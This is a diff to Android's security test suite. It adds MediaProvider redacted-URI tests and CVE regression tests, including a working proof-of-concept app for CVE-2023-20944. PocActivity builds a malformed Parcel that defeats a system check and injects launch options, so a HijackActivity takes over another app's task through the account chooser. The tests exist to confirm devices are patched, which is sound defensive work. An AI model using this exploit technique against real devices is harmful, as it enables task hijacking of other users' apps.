+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that the test app can't access unshared redacted uri via file path
+ **/
+ @Test
+ public void testUnsharedRedactedUri_openFileForRead() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ forceStopApp(APP_E.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ addressStoragePermissions(APP_E.getPackageName(), true);
+
+ final Uri redactedUri = getRedactedUri(img);
+ // APP_E has R_E_S
+ assertThat(isFileOpenRedacted(APP_E, redactedUri)).isTrue();
+ assertThrows(IOException.class, () -> isFileOpenRedacted(APP_B_NO_PERMS, redactedUri));
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testGrantUriPermissionsForRedactedUri() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ getContext().grantUriPermission(APP_B_NO_PERMS.getPackageName(), redactedUri,
+ FLAG_GRANT_READ_URI_PERMISSION);
+ assertThrows(SecurityException.class, () ->
+ getContext().grantUriPermission(APP_B_NO_PERMS.getPackageName(), redactedUri,
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION));
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testDisallowedOperationsOnRedactedUri() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ ContentValues cv = new ContentValues();
+ cv.put(MediaStore.MediaColumns.DATE_ADDED, 1);
+ assertEquals(0, getContentResolver().update(redactedUri, new ContentValues(),
+ new Bundle()));
+ assertEquals(0, getContentResolver().delete(redactedUri, new Bundle()));
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testOpenOnRedactedUri_file() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ assertUriIsUnredacted(img);
+
+ final Cursor redactedUriCursor = getRedactedCursor(redactedUri);
+ File file = new File(
+ getStringFromCursor(redactedUriCursor, MediaStore.MediaColumns.DATA));
+ ExifInterface redactedExifInf = new ExifInterface(file);
+ assertUriIsRedacted(redactedExifInf);
+
+ assertThrows(FileNotFoundException.class, () -> new FileOutputStream(file));
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testOpenOnRedactedUri_write() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ assertThrows(UnsupportedOperationException.class,
+ () -> getContentResolver().openFileDescriptor(redactedUri,
+ "w"));
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testOpenOnRedactedUri_inputstream() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ assertUriIsUnredacted(img);
+
+ try (InputStream is = getContentResolver().openInputStream(redactedUri)) {
+ ExifInterface redactedExifInf = new ExifInterface(is);
+ assertUriIsRedacted(redactedExifInf);
+ }
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testOpenOnRedactedUri_read() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ assertUriIsUnredacted(img);
+
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(redactedUri, "r")) {
+ FileDescriptor fd = pfd.getFileDescriptor();
+ ExifInterface redactedExifInf = new ExifInterface(fd);
+ assertUriIsRedacted(redactedExifInf);
+ }
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testOpenOnRedactedUri_readFuzzer() throws Exception {
+ final File img = stageFuzzerImageFileWithMetadata(FUZZER_HEIC_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ assertUriIsUnredacted(img);
+
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(redactedUri, "r")) {
+ FileDescriptor fd = pfd.getFileDescriptor();
+ int bufSize = 0x1000000;
+ byte[] data = new byte[bufSize];
+ int fileSize = Os.read(fd, data, 0, bufSize);
+ assertUriIsRedacted(data, fileSize);
+ }
+ } finally {
+ img.delete();
+ }
+ }
+
+ private void testRedactedUriCommon(Uri uri, Uri redactedUri) {
+ assertEquals(redactedUri.getAuthority(), uri.getAuthority());
+ assertEquals(redactedUri.getScheme(), uri.getScheme());
+ assertNotEquals(redactedUri.getPath(), uri.getPath());
+ assertNotEquals(redactedUri.getPathSegments(), uri.getPathSegments());
+
+ final String uriId = redactedUri.getLastPathSegment();
+ assertThat(uriId.startsWith("RUID")).isTrue();
+ assertEquals(uriId.length(), 36);
+ }
+
+ private Uri shareAndGetRedactedUri(File file, TestApp testApp) {
+ final Uri redactedUri = getRedactedUri(file);
+ getContext().grantUriPermission(testApp.getPackageName(), redactedUri,
+ FLAG_GRANT_READ_URI_PERMISSION);
+
+ return redactedUri;
+ }
+
+ private Uri getRedactedUri(File file) {
+ final Uri uri = MediaStore.scanFile(getContentResolver(), file);
+ return MediaStore.getRedactedUri(getContentResolver(), uri);
+ }
+
+ private void assertUriIsUnredacted(File img) throws Exception {
+ final ExifInterface exifInterface = new ExifInterface(img);
+ assertNotEquals(exifInterface.getGpsDateTime(), -1);
+
+ float[] latLong = new float[]{0, 0};
+ exifInterface.getLatLong(latLong);
+ assertNotEquals(latLong[0], 0);
+ assertNotEquals(latLong[1], 0);
+ }
+
+ private void assertUriIsRedacted(ExifInterface redactedExifInf) {
+ assertEquals(redactedExifInf.getGpsDateTime(), -1);
+ float[] latLong = new float[]{0, 0};
+ redactedExifInf.getLatLong(latLong);
+ assertEquals(latLong[0], 0.0, 0.0);
+ assertEquals(latLong[1], 0.0, 0.0);
+ }
+
+ private void assertUriIsRedacted(byte[] data, int fileSize) {
+ // Data in redaction ranges should be zero.
+ int[] start = new int[]{50538, 712941, 712965, 712989, 713033, 713101};
+ int[] end = new int[]{711958, 712943, 712967, 712990, 713100, 713125};
+
+ assertTrue(fileSize == 4407744);
+ for (int index = 0; index < start.length && index < end.length; index++) {
+ for (int c = start[index]; c < end[index]; c++) {
+ assertTrue("It should be zero!", data[c] == (byte) 0);
+ }
+ }
+ }
+
+ private Cursor getRedactedCursor(Uri redactedUri) {
+ Cursor redactedUriCursor = getContentResolver().query(redactedUri, null, null, null);
+ assertNotNull(redactedUriCursor);
+ assertThat(redactedUriCursor.moveToFirst()).isTrue();
+
+ return redactedUriCursor;
+ }
+
+ private String getStringFromCursor(Cursor c, String colName) {
+ return c.getString(c.getColumnIndex(colName));
+ }
+
+ private File stageImageFileWithMetadata(String name) throws Exception {
+ return stageImageFileWithMetadata(name, R.raw.img_with_metadata);
+ }
+
+ private File stageFuzzerImageFileWithMetadata(String name) throws Exception {
+ return stageImageFileWithMetadata(name, R.raw.fuzzer);
+ }
+
+ private File stageImageFileWithMetadata(String name, int sourceId) throws Exception {
+ final File img = new File(
+ Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), name);
+
+ try (InputStream in =
+ getContext().getResources().openRawResource(sourceId);
+ OutputStream out = new FileOutputStream(img)) {
+ // Dump the image we have to external storage
+ FileUtils.copy(in, out);
+ }
+
+ return img;
+ }
+} \ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20944.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20944.java
new file mode 100644
index 00000000000..5d412d4caf3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20944.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_20944 extends NonRootSecurityTestCase {
+
+ // b/244154558
+ // Vulnerable module : services.jar
+ // Vulnerable module : Not applicable
+ // Is Play Managed : No
+ @AsbSecurityTest(cveBugId = 244154558)
+ @Test
+ public void testPocCVE_2023_20944() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2023_20944_test";
+
+ // Install the test and target apps
+ installPackage("CVE-2023-20944-test.apk");
+ installPackage("CVE-2023-20944-target.apk");
+
+ // Run the test "testCVE_2023_20944"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_20944");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java
new file mode 100644
index 00000000000..06dffc403f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_35669 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 265798288)
+ @Test
+ public void testPocCVE_2023_35669() {
+ try {
+ // Install the test and target apps
+ installPackage("CVE-2023-35669-test.apk");
+ installPackage("CVE-2023-35669-target.apk");
+
+ final String testPkg = "android.security.cts.CVE_2023_35669_test";
+
+ // Run the test "testCVE_2023_35669"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_35669");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/Android.bp
new file mode 100644
index 00000000000..89c9df9637b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/Android.bp
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2023-20944-target",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "target-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ manifest: "target-app/AndroidManifest.xml",
+ sdk_version: "current",
+}
+
+android_test_helper_app {
+ name: "CVE-2023-20944-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "test-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ manifest: "test-app/AndroidManifest.xml",
+ resource_dirs: [
+ "res",
+ "test-app/res",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/res/values/strings.xml
new file mode 100644
index 00000000000..17f8d12949c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/res/values/strings.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="accountType">android.security.cts.CVE_2023_20944_test.account</string>
+ <string name="actionTarget">actionTarget</string>
+ <string name="activityName">android.accounts.ChooseTypeAndAccountActivity</string>
+ <string name="activityTarget">android.security.cts.CVE_2023_20944_target.TargetActivity</string>
+ <string name="allowableAccountTypes">allowableAccountTypes</string>
+ <string name="bcastActionTarget">CVE_2023_20944_TargetActivity</string>
+ <string name="launchTaskId">android.activity.launchTaskId</string>
+ <string name="msgFail">Device is vulnerable to b/244154558 !!</string>
+ <string name="noExceptionMsg">no exception</string>
+ <string name="pkgName">android</string>
+ <string name="pkgTarget">android.security.cts.CVE_2023_20944_target</string>
+ <string name="pocCrashedMsg">PocActivity crashed with exception: %s</string>
+ <string name="pocFailedMsg">pocActivity failed</string>
+ <string name="spannableString">AAAAAAAAAAAA\n</string>
+ <string name="status">status</string>
+ <string name="targetFailMsg">TargetActivity did not launch successfully</string>
+ <string name="taskId">taskId</string>
+ <string name="taskOverlay">android.activity.taskOverlay</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/AndroidManifest.xml
new file mode 100644
index 00000000000..dc41a97e44f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20944_target">
+ <application>
+ <activity android:name=".TargetActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/src/android/security/cts/CVE_2023_20944_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/src/android/security/cts/CVE_2023_20944_target/TargetActivity.java
new file mode 100644
index 00000000000..03b7c27344a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/src/android/security/cts/CVE_2023_20944_target/TargetActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20944_target;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.actionTarget), true)
+ .putExtra(getString(R.string.taskId), getTaskId()));
+ } catch (Exception ignored) {
+ // ignoring exceptions here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/AndroidManifest.xml
new file mode 100644
index 00000000000..45cb90b9ea9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20944_test">
+ <application>
+ <activity android:name=".PocActivity" />
+ <activity android:name=".HijackActivity" />
+ <service android:name=".PocAuthService"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_20944_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/res/xml/authenticator.xml
new file mode 100644
index 00000000000..c58bc2e0f5e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/res/xml/authenticator.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="android.security.cts.CVE_2023_20944_test.account" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/DeviceTest.java
new file mode 100644
index 00000000000..a0c7a241de5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/DeviceTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20944_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityTaskManager;
+import android.app.IActivityTaskManager;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.ServiceManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private String mPocActivityStatus;
+ private int mTaskId;
+
+ @Test
+ public void testCVE_2023_20944() {
+ try {
+ final int waitMs = 5000;
+ final int waitPerIter = 200;
+ Context context = getInstrumentation().getContext();
+ UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+ uiAutomation.adoptShellPermissionIdentity();
+
+ // Registering a receiver here to wait for a broadcast from TargetActivity
+ final Semaphore targetReturn = new Semaphore(0);
+ final Semaphore pocReturn = new Semaphore(0);
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if ((intent.getBooleanExtra(context.getString(R.string.actionTarget), false)
+ && (mTaskId = intent.getIntExtra(context.getString(R.string.taskId),
+ -1)) != -1)) {
+ targetReturn.release();
+ }
+ if ((mPocActivityStatus = intent
+ .getStringExtra(context.getString(R.string.status))) != null) {
+ pocReturn.release();
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter(context.getString(R.string.bcastActionTarget));
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Start TargetActivity
+ Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+ final String pkgTarget = context.getString(R.string.pkgTarget);
+ targetIntent.setClassName(pkgTarget, context.getString(R.string.activityTarget));
+ targetIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(targetIntent);
+ assumeTrue(context.getString(R.string.targetFailMsg),
+ targetReturn.tryAcquire(waitMs, TimeUnit.MILLISECONDS));
+
+ // Start PocActivity which in turn starts the ChooseTypeAndAccountActivity
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ assumeTrue(context.getString(R.string.pocFailedMsg),
+ pocReturn.tryAcquire(waitMs, TimeUnit.MILLISECONDS));
+ assumeTrue(context.getString(R.string.pocCrashedMsg, mPocActivityStatus),
+ mPocActivityStatus.equals(context.getString(R.string.noExceptionMsg)));
+
+ // Failing the test if the taskId received from the target activity matches with the
+ // list of running taskId and topActivity has HijackActivity in the same taskId.
+ IActivityTaskManager iActivityTaskManager = IActivityTaskManager.Stub
+ .asInterface(ServiceManager.getService(Context.ACTIVITY_TASK_SERVICE));
+ long start = System.currentTimeMillis();
+ while (!(iActivityTaskManager.getAllRootTaskInfos().toString()
+ .contains(HijackActivity.class.getName()))
+ && System.currentTimeMillis() - start < waitMs) {
+ Thread.sleep(waitPerIter);
+ }
+ boolean isDeviceVulnerable = false;
+ List<ActivityTaskManager.RootTaskInfo> runningTasks =
+ iActivityTaskManager.getAllRootTaskInfos();
+ for (ActivityTaskManager.RootTaskInfo runningTaskInfo : runningTasks) {
+ for (int i = 0; i < runningTaskInfo.childTaskIds.length; ++i) {
+ if (mTaskId == runningTaskInfo.childTaskIds[i] && runningTaskInfo.topActivity
+ .getClassName().equals(HijackActivity.class.getName())) {
+ isDeviceVulnerable = true;
+ break;
+ }
+ }
+ }
+ assertFalse(context.getString(R.string.msgFail), isDeviceVulnerable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/HijackActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/HijackActivity.java
new file mode 100644
index 00000000000..921ffcd175e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/HijackActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20944_test;
+
+import android.app.Activity;
+
+public class HijackActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocActivity.java
new file mode 100644
index 00000000000..a4fb874d223
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocActivity.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20944_test;
+
+import android.app.Activity;
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.content.pm.LabeledIntent;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.PersistableBundle;
+import android.text.SpannableString;
+import android.text.style.TtsSpan;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+ int targetTaskId = getTaskId() - 1;
+ Bundle options = new Bundle();
+ options.putBoolean(getString(R.string.taskOverlay), true);
+ options.putInt(getString(R.string.launchTaskId), targetTaskId);
+ LabeledIntent targetIntent =
+ new LabeledIntent(null, createLabelInjectingOptions(options), 0);
+ targetIntent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+ targetIntent.setClassName(this, HijackActivity.class.getName());
+
+ // Return LabeledIntent from AuthService.addAccount
+ PocAuthService.sAddAccountResponse = new Bundle();
+ PocAuthService.sAddAccountResponse.putParcelable(AccountManager.KEY_INTENT,
+ targetIntent);
+ startActivityForResult(new Intent()
+ .setClassName(getString(R.string.pkgName), getString(R.string.activityName))
+ .putExtra(getString(R.string.allowableAccountTypes),
+ new String[] {getString(R.string.accountType)}),
+ 1);
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.status), getString(R.string.noExceptionMsg)));
+ } catch (Exception e) {
+ try {
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.status), e.getMessage()));
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+
+ }
+ }
+
+ private CharSequence createLabelInjectingOptions(Bundle options) {
+ final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L', copied from BaseBundle
+ Parcel p = Parcel.obtain();
+
+ p.writeInt(0); // Will hold length
+ p.writeInt(BUNDLE_MAGIC);
+
+ // BEGIN data
+ int startOffset = p.dataPosition();
+ p.writeInt(0); // \0 at end of resultWho
+ p.writeInt(-1); // requestCode
+ p.writeInt(0); // flags
+ p.writeInt(0); // profilerInfo == null
+ p.writeInt(1); // options != null
+ int innerBundleLengthPos = p.dataPosition();
+ p.writeBundle(options);
+ int endOffset = p.dataPosition();
+ // END data
+
+ // Expand inner Bundle to defeat enforceNoDataAvail check
+ p.setDataPosition(innerBundleLengthPos);
+ int innerBundleLength = p.readInt();
+ p.setDataPosition(innerBundleLengthPos);
+
+ // To fully consume the Parcel data and to avoid BadParcelableException, 72 is added in
+ // innerBundleLength
+ p.writeInt(innerBundleLength + 72);
+
+ // Fix PersistableBundle length
+ p.setDataPosition(0);
+ p.writeInt(endOffset - startOffset);
+
+ // Read result as PersistableBundle
+ p.setDataPosition(0);
+ PersistableBundle wrapperBundle = p.readPersistableBundle();
+ p.recycle();
+
+ // Make a CharSequence
+ SpannableString spannableString = new SpannableString(getString(R.string.spannableString));
+ spannableString.setSpan(new TtsSpan("", wrapperBundle), 0, 0, 0);
+ return spannableString;
+ }
+}
